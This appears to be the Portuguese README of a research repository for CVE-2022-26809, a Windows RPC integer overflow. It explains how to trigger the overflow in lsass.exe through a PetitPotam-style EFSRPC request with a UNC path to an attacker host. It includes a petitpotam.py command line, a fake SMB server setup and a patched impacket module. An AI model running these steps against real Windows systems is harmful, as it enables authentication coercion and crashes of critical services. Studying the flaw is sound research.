
PoC e análise para CVE-2022-26809, uma vulnerabilidade de estouro de inteiro do runtime RPC do Windows. Inclui scripts de gatilho usando relay de caminho UNC estilo PetitPotam para explorar lsass.exe via requisições ESFRPC.
Este repositório é apenas uma pesquisa simples sobre o CVE. Para uma análise mais detalhada, consulte aqui.
ATUALIZAÇÃO: 19/05/2022
Esta análise ainda não foi concluída....
ATUALIZAÇÃO: 22/05/2022
O Post do HuanGMz e o blog da corelight mostram o ponto vulnerável real:
OSF_CASSOCIATION::ProcessBindAckOrNak

Esta vulnerabilidade é acionada como o CVE-2021-43893, quando uma requisição ESFRPC é enviada para o lsass.exe com caminho UNC, a vítima tentará acessar o alvo como cliente, então ocorrerá um estouro de inteiro na API do cliente
Se você tiver alguma solução melhor para acionar esta vulnerabilidade, fique à vontade para abrir uma issue ou um PR :)
Como a vulnerabilidade é acionada como CVE-2021-43893, basta clonar o código do .
Prepare o ambiente como mostrado abaixo:

fake_smb_server.py no servidor atacante após substituir o rpcrt.py pelo original (Como a porta 445 está ocupada pelo System no Windows, é recomendável implantar o serviço no Linux)python petitpotam.py -pipe lsarpc -method DecryptFileSrv -debug "user:[email protected]" "\\attacker.path\realfile"
lsass.exe (No entanto, não consegui acionar o BSoD com sucesso, mas de acordo com o windbg, o estouro de inteiro foi acionado)Descrição Antiga
Aqui está o código de reprodução para a vulnerabilidade Windows RPC CVE-2022-26809, e ele faz referência a https://github.com/microsoft/Windows-classic-samples/blob/main/Samples/Win7Samples/netds/rpc/hello.
Minha versão do Python é 3.6.7
Não tenho certeza se GetCoalescedBuffer está envolvido no real CVE-2022-26809, apenas mantive
O poc.py apenas tenta acionar a função vulnerável OSF_SCALL::GetCoalescedBuffer, não causará nenhuma falha porque o estouro de inteiro dword é muito difícil de reproduzir. E o rpcrt.py é o pacote Python impacket.dcerpc.v5.rpcrt, basta substituí-lo pelo original para acionar a vulnerabilidade (Lembre-se de fazer backup do original :) Acredito que o rpcrt.py tem muitos bugs).
Se não funcionar, talvez o wireshark possa ajudar a localizar o bug.
Se necessário, use nmake para reconstruí-lo